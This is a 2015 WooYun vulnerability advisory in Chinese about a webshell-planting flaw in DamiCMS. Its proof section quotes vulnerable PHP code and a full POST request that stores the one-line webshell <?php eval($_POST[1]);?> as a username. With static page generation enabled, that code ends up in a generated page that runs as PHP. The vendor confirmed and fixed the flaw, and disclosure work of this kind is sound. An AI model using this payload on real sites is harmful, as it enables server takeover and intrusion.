当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102243

漏洞标题:大米CMS getshell

相关厂商:damicms.com

漏洞作者: xiaoL

提交时间:2015-03-19 15:38

修复时间:2015-06-18 10:02

公开时间:2015-06-18 10:02

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-19: 细节已通知厂商并且等待厂商处理中
2015-03-20: 厂商已经确认,细节仅向厂商公开
2015-03-23: 细节向第三方安全合作伙伴开放
2015-05-14: 细节向核心白帽子及相关领域专家公开
2015-05-24: 细节向普通白帽子公开
2015-06-03: 细节向实习白帽子公开
2015-06-18: 细节向公众公开

简要描述:

大米CMS的一个getshell

详细说明:

http://wooyun.org/bugs/wooyun-2015-089724 漏洞介绍了一个方法可以getshell,不过有说错的地方。就是开启静态的条件下无论什么后缀的都是会被包含的,所以都可以getshell。
前提条件:
1、开启生成静态
方法跟上面提到的漏洞类似,不过要构造一句话的用户名需要一点点办法。

漏洞证明:

public function register(){
$this->display();
}
//确认注册
function doreg(){
$User = D("Member"); // 实例化User对象
if (!$User->create()){
$this->error($User->getError());
}else{
$data = array_map('strval',$_POST);
$data = array_map('remove_xss',$data);
if(strlen($data['username'])>16){$this->error('用户名太长!');} //字符数不够,根本构造不了<?php eval($_POST[1]);?>
$data['userpwd'] = md5($_POST['userpwd']);
$data['money'] = 0;
$data['is_lock'] = 0;
$data['addtime'] = time();
$User->add($data);
$this->assign('jumpUrl',U('Member/login'));
$this->success('注册成功,请登录~');
}
}


这里限制了长度还有经过了一堆七七八八的过滤,不过不管。随便注册一个号,例如testtest。

//个人资料修改
function main(){
self::is_login();
if($_POST){
$data = array_map('strval',$_POST); //跟之前报过的一个漏洞类似,
$data = array_map('remove_xss',$data);
unset($data['money']);//禁止修改money 修复之前的金额任意修改
unset($data['is_lock']);//禁止修改锁定状态
$data['id'] = $_SESSION['dami_uid'];
$User = D("Member"); // 实例化User对象
if (!$User->create()){
$this->error($User->getError());
}else{
$User->save($data); //$data 包含了 $_POST的数据,因此我们可以任意修改自己的用户名了,构造一句话也是可以的。 并且数据库里面的长度是80,完全够了。
$this->success('资料保存成功~');
}


提交数据包:

URL:
http://localhost/index.php?s=/Member/main.html
POST:
username=<?php eval($_POST[1]);?>&icon=&realname=&tel=&province=%E8%AF%B7%E9%80%89%E6%8B%A9&city=%E8%AF%B7%E9%80%89%E6%8B%A9&area=%E8%AF%B7%E9%80%89%E6%8B%A9&address=&sex=%E7%94%B7&birthday=&zhiwu=&xuexing=A%E5%9E%8B&__hash__=e0373bdd6de617b42762a2866be82f02


这样就修改了自己的用户名了,最后依然是生成静态页。

2222.png


可以看到静态页里面生成了代码:

1111.png


最终的URL就是:
http://localhost/index.php?s=articles/127.htm
可以直接用菜刀的。

修复方案:

修复$_POST直接提交。

版权声明:转载请注明来源 xiaoL@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-03-20 10:01

厂商回复:

开启静态时,设计缺陷导致构造恶意内容PHP中HTML中 还解释执行会产生很严重的危害,已修复

最新状态:

暂无